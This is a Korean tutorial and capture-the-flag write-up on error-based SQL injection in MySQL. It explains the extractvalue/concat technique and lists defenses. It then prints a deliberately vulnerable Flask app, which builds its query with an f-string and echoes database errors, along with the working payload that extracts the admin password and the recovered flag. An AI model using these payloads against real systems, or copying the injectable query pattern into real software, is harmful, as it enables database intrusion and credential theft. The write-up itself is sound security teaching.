
에러 기반(Error-based) SQL Injection은 공격자가 의도적으로 데이터베이스에 문법 오류나 함수 오류를 발생시켜, 그 오류 메시지를 통해 내부 정보를 획득하는 기법이다. 이 방식은 주로 데이터베이스 서버가 오류 메시지를 사용자에게 노출할 때 효과적이다.
공격자가 SQL 쿼리에 특수한 코드를 삽입하여 데이터베이스가 오류를 발생시키게 한다.
데이터베이스가 생성하는 오류 메시지에 내부 데이터(예: 사용자 이름, 데이터베이스 이름, 테이블 이름 등)를 포함하도록 유도한다.
오류 메시지를 분석하여 중요한 정보를 얻는다.
Ex) extractvalue(1, concat(0x7e, (select database()), 0x7e))
extractvalue는 MYSQL에서 쓰는 함수 호출문이며 concat()을 포함한다.
concat은 MYSQL 내장 함수로 여러 문자열을 이어붙이는 함수이다.
예를들어 concat('hello', ' ', 'world') --> 'hello world' 가 된다.
또한 위의 0X7E는 '~' 으로 데이터베이스의 이름을 concat으로 앞뒤로 감싼다.
감싸는 이유는 DB이름이 다른 텍스트와 섞여서 나오면 헷갈릴 수 있으므로 구분자의 역할을 위해 사용한다. 꼭 물결이 아니여도 된다.
또한 xml_fragment에는 1과 같이 비정상적인 입력을 고의로 주고 xpath_expression 부분에 우리가 조작한 문자열을 넣어 오류를 발생시킨다.
이 때 오류 메시지 안에 xpath_expression값이 그대로 포함되므로, 우리가 원하는 값을 오류메시지로 노출 시킬 수 있는 취약점이 존재한다.
입력 값 검증 및 이스케이프 처리
사용자가 입력한 값을 그대로 쿼리에 삽입하지 않고, 파라미터 바인딩 사용
오류 메시지 노출 제한
운영 환경에서는 데이터베이스 오류 메시지를 사용자에게 노출하지 않도록 설정
최신 보안 패치 적용
데이터베이스 및 웹 애플리케이션 보안 업데이트 적용

위와 같이 uid를 넣는 웹사이트가 주어진다. 코드를 살펴본다.
< app.py >
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
try:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
return template.format(uid=uid)
except Exception as e:
return str(e)
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
< init.sql >
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `users`;
CREATE TABLE user(
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
FLUSH PRIVILEGES;
위의 코드는 uid를 검증없이 직접 넣고 있고, 오류 발생 시 예외에 대한 내용을 str(e)로 반환하고 있다.
즉 error base sql injection에 취약하다.
우리는 admin계정의 비밀번호인 FLAG를 필요로 한다.
이제 uid자리에 적절히 조작된 값을 삽입한다.
' and extractvalue(1, concat(0x7e, substr((select upw from user where uid='admin'),1,16), 0x7e))--
를 넣으면 admin의 upw값을 리턴할 것이다. substr을 이용한 이유는, 비밀번호 값이 특정 자리수에서 짤리기 때문에, 16자리씩 확인하려고 한다.

1부터 16을 확인하면 위와 같고, 이제 16부터 32를 확인한다.

FLAG : DH{c3968c788407550168774ad951fc98bf788563c4d}
정상적으로 FLAG를 획득하였다.